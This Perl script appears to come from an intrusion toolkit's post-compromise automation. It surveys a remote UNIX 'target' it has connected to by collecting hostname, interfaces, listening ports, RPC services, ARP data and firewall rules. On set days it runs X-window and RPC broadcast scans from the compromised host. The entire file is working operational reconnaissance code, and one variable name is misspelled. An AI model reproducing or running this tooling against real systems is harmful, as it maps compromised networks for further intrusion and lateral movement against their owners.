#!/usr/bin/env perl
#
# 20130416 - This portion of autonewdone implements all of the network survey commands
# that need to be performed when first connecting to a UNIX target.
#
$VER="3.0.0.3";
$ext = $$ ;			# limits likelihood of concurrent autodone's colliding
				# BUT: still possible.
				# not too likely to happen.

$| = 1;
myinit() ;

sub donetwork() {
  my @choices = ("Y","N");
  my $mdefault = "N";
  
  # Open the autodothis file here.  
  open(CMDOUT,">$statsfile") or myalert("Unable to open statistics file $statsfile! $!");

  ($output,$nopenlines,@output) = doitwrite("\\hostname");
  chomp(my $hostname = $output);
  print HOSTINFO "Hostname BS: $hostname\n";
  
  ($output,$nopenlines,@output) = doitwrite("domainname");  
  chomp(my $domainname = $output);
  if (!$domainnname or $domainname =~ /none/) {
    ($domainname) = $hostname =~ /^[^\.]+\.(.+)/;
    print HOSTINFO "Domain name: $domainname\n" if $domainname;
    print HOSTINFO "FQDN: $hostname\n";
  }
  else {
    print HOSTINFO "Domain name: $domainname\n";
    print HOSTINFO "FQDN: $hostname.$domainname\n";
  }
  
  doitwrite("more /etc/hostname* ; echo");

  my $ifconfigoutput = logdoit("-ifconfig");
  my @ifconfigoutput = split(/\n+/,$ifconfigoutput);
  my ($intf,$flags,$mtu,$ip,$bcast,$mask,$mac) = ();
  foreach $line (@ifconfigoutput) {
    $linelen = length $line;
    #dbg("in autonewdone donetwork, line=$line= length=$linelen");
    next if $linelen == 0;

    ($intf,$flags,$mtu) = $line =~ /^([a-z0-9]+):\s+flags=\.(.+)\.\smtu\s(\d+)/;
    #dbg("in autonewdone donetwork, intf=$intf= flags=$flags= mtu=$mtu=");
    #next if $intf =~ /lo/;
    if (length $intf) {
      print HOSTINFO "Network Interface: Name: $intf; Flags: $flags; MTU: $mtu;";
      next;
    }
    
    ($ip,$bcast,$mask) = $line =~ /^inet\s(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\sbroadcast\s(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\snetmask\s(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/;
    #dbg("in autonewdone donetwork, ip=$ip= bcast=$bcast= mask=$mask=");
    #next if $ip =~ /127.0.0.1/;
    if (length $ip) {
      my ($network) = `ipcalc --network --silent $ip $mask` =~ /NETWORK=(.*)/;
      print HOSTINFO " IP: $ip; Subnet: $network; Broadcast: $bcast;";
      print HOSTINFO "\n" if ($ip =~ /127.0.0.1/);
      next;
    }
    
    ($mac) = $line =~ /ether\s([\da-f]+:[\da-f]+:[\da-f]+:[\da-f]+:[\da-f]+:[\da-f]+)/;
    #dbg("in autonewdone donetwork, mac=$mac=");
    next if $mac =~ /00:00:00:00:00:00/;
    if (length $mac) {
      print HOSTINFO " MAC Address: $mac\n";
      next;
    }
  }

  if ($junostarget) {
    my ($ans,$longans) = mygetinput("${COLOR_FAILURE}".
      "WARNING: netstat -an can take a long time!\n\n".
      "${COLOR_NORMAL}Do you want to run it? ",$mdefault,@choices);
    if ($ans =~ /^y/i) {
      my (undef,$netstatfile) = doitwrite("ARRAY", "netstat -an");
    }
    
    my ($ans,$longans) = mygetinput("${COLOR_FAILURE}".
      "WARNING: netstat -rn can take a long time!\n\n".
      "${COLOR_NORMAL}Do you want to run it? ",$mdefault,@choices);
    if ($ans =~ /^y/i) {
      my (undef,$netstatfile) = doitwrite("ARRAY", "netstat -rn");
    }
  }
  else {
    my (undef,$netstatfile) = doitwrite("ARRAY","netstat -an","netstat -rn");
  }
  
  chomp($netstatfile = `ls -rt $optargetcommands/netstat_-an* | tail -1`)
    unless $netstatfile;
  if (open(NETSTATFILE,"< $netstatfile")) {
    my $mode = "";
    my %udp = ();
    my %tcp = ();
    my $udp = "";
    my $tcp = "";
    while (chomp($line = <NETSTATFILE>)) {
      $line =~ s/\r//g ; # Get rid of ^M's
      $mode = uc $1 if ($line =~ /^(UDP|TCP)/i)  ;
      next unless (($duh,$port,$what) = $line =~ /(0.0.0.0:|\*\.)(\d+).*\s+(\w+)/) ;
      #dbg("in autonewdone donetwork, mode=$mode= duh=$duh= port=$port= what=$what=");
      if ($mode eq "UDP") {
        $udp{$port}++;
      } else { #"TCP"
        $tcp{$port}++;
      }
    }
    close(NETSTATFILE);
    $udp .= "$_," foreach (sort by_num keys %udp);
    $tcp .= "$_," foreach (sort by_num keys %tcp);
    chomp($udp);
    chomp($tcp);
    #dbg("in autonewdone donetwork, tcp=$tcp= udp=$udp=");
    print HOSTINFO "UDP ports listening: $udp\n" if $udp;
    print HOSTINFO "TCP ports listening: $tcp\n" if $tcp;
  }
  else {
    myalert("Can't open $netstatfile! $!");
  }

  # TODO: Parse this rpcinfo output in $rpcoutputfile, make a new copy like
  # how -scan rpc looks (more detail)
  my (undef,$rpcoutputfile) = doitwrite("ARRAY","rpcinfo -p");
  chomp($rpcoutputfile = `ls -rt $optargetcommands/rpcinfo_-p* | tail -1`)
    unless $rpcoutputfile;
  if (open(RPCFILE,"< $rpcoutputfile")) {
    my %vers = ();
    my %rpcserv = ();
    my %rpcprog = ();
    my $rpcproto = ();
    my ($null,$rpcnum,$ver,$proto,$port,$service) = ();
    while (chomp($rpcline = <RPCFILE>)) {
      $rpcline =~ s/\r//g ; # Get rid of ^M's
      next if $rpcline =~ /^\#/;
      next if $rpcline =~ /( rpcinfo|Usage)/;
      next if $rpcline =~ /\s(port|service)\s*$/;
      #dbg("in autonewdone donetwork, rpcline=$rpcline=");
      if (($null,$rpcnum,$ver,$proto,$port,$service) = split(/\s+/,$rpcline)) {
        #dbg("in autonewdone donetwork, rpcnum=$rpcnum= ver=$ver= proto=$proto= port=$port= service=$service=");
        $rpcprog{$rpcnum}++;
        if ($service !~ // and $rpcserv{$rpcnum} !~ /$service/) {
          $rpcserv{$rpcnum} .= "$service";
        }
        $rpcproto{$rpcnum} .= "$proto:$port," unless($rpcproto{$rpcnum} =~ /$proto:$port,/);
        $vers{$rpcnum} .= "$ver," unless ($vers{$rpcnum} =~ /$ver($|,)/);
      }
    }
    close(RPCFILE);
    if (%rpcprog) {
      foreach (sort by_num keys %rpcprog) {
        #dbg("in autonewdone donetwork, rpcprog=$_= vers=$vers{$_}= rpcproto=$rpcproto{$_}= rpcserv=$rpcserv{$_}=");
        print HOSTINFO "RPC Program: $_;$vers{$_};$rpcproto{$_};$rpcserv{$_};\n";
      }
    }
  }
  else {
    myalert("Can't open $rpcoutputfile! $!");
  }
      
  @autoargv = ();
  push(@autoargv,"-P") if $firstin;
  mydo("autoarp",@autoargv);
   
  if ($solaristarget) {
   my ($results,$testfile) = logdoit("modinfo");
   
   #v CONDITIONAL, only does ipfstat if ipf appears in modinfo
   logdoit("ipfstat -ionv") if ($results =~ /ipf/);
   
  } elsif ($aixtarget) {
    logdoit("netstat -in");

  } elsif ($linuxtarget) {
    logdoit("lsmod");
    mypydo(0,"autoiptableslist","-l");
    
    unlink("$opdown/iptables.$nopen_rhostname")
      unless (-s "$opdown/iptables.$nopen_rhostname");
    `grep "lsmod.*no such " $opdown/iptables.$nopen_rhostname && /bin/rm $opdown/iptables.$nopen_rhostname`;
    `grep "lsmod.*not found" $opdown/iptables.$nopen_rhostname && /bin/rm $opdown/iptables.$nopen_rhostname`;

    unlink("$opdown/ipfstat.$nopen_rhostname")
      unless (-s "$opdown/ipfstat.$nopen_rhostname");
    `grep "ipfstat.*no such " $opdown/ipfstat.$nopen_rhostname && /bin/rm $opdown/ipfstat.$nopen_rhostname`;
    `grep "ipfstat.*not found" $opdown/ipfstat.$nopen_rhostname && /bin/rm $opdown/ipfstat.$nopen_rhostname`;
  }
  
  tickleifneedbe($builtinsonly);
  
  # We scan broadcasts, only on initial hops, and only on the 20th every month.
  # Force this off via touch /current/tmp/SKIPBCSCANS 
  # Force this on via  touch  current/tmp/FORCEBCSCANS
  # @currentconns becomes the established sessions from $nopen_myip to our
  # current externalIP.
  my @currentconns = grep /$gbl_externalIP{"current"}/,
  readfile("ARRAY","$optargetcommands/netstat*$nopen_rhostname*");
  @currentconns = grep /$nopen_myip/,@currentconns
    if ($nopen_myip and $opdown eq $optargetcommands);

  if (!$builtinsonly and @currentconns > 0 and 
      ! -f  "$optmp/SKIPBCSCANS" and
      (timestamp("short") =~ /20-/ or -f "$optmp/FORCEBCSCANS")) {
    my %scanned = ();
    my @ifconfig = readfile("ARRAY",
                            "$opdown/ifconfig*${nopen_rhostname}*",
                           );
    @ifconfig = readfile("ARRAY",
                         "$optargetcommands/ifconfig*${nopen_rhostname}*",
                        )
      unless (@ifconfig);
    doit("w");
    foreach my $line (@ifconfig) {
     my ($bc) = $line =~ /broadcast (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/;
      if ($bc and !$scanned{$bc}++) {
        doit("-scan xwin $bc","w");
        doit("-scan brpc $bc","w");
      }
    }
  }

  close(CMDOUT);
  return 1;
}

donetwork ();

sub myinit {
  # If $willautoport is already defined, we must have been called
  # by another script via require. We do not re-do autoport stuff.
  $calledviarequire = 0;
  if ($willautoport and $socket) {
    progprint("$prog called -gs newdone.network @ARGV");
    $calledviarequire = 1;
  } else {
    $willautoport=1;
    my $autoutils = "../etc/autoutils" ;
    unless (-e $autoutils) {
      $autoutils = "/current/etc/autoutils" ;
    }
    require $autoutils;
    $prog = "-gs newdone.network";
    $vertext = "$prog version $VER\n" ;
    mydie("No user servicable parts inside.\n".
	  "(I.e., noclient calls $prog, not you.)\n".
	  "$vertext") unless ($nopen_rhostname and $nopen_mylog and
			      -e $nopen_mylog);
  }

  # Setting $autodone allows any mydo() called functions to know
  # we are in this mode to populate $opdir/latewarnings*
  $autodone=1;

  # If $socket is already defined, we must have been called
  # by another script via require. We do not re-do autoport stuff.
  $socket = pilotstart(quiet) unless $socket;
}#myinit
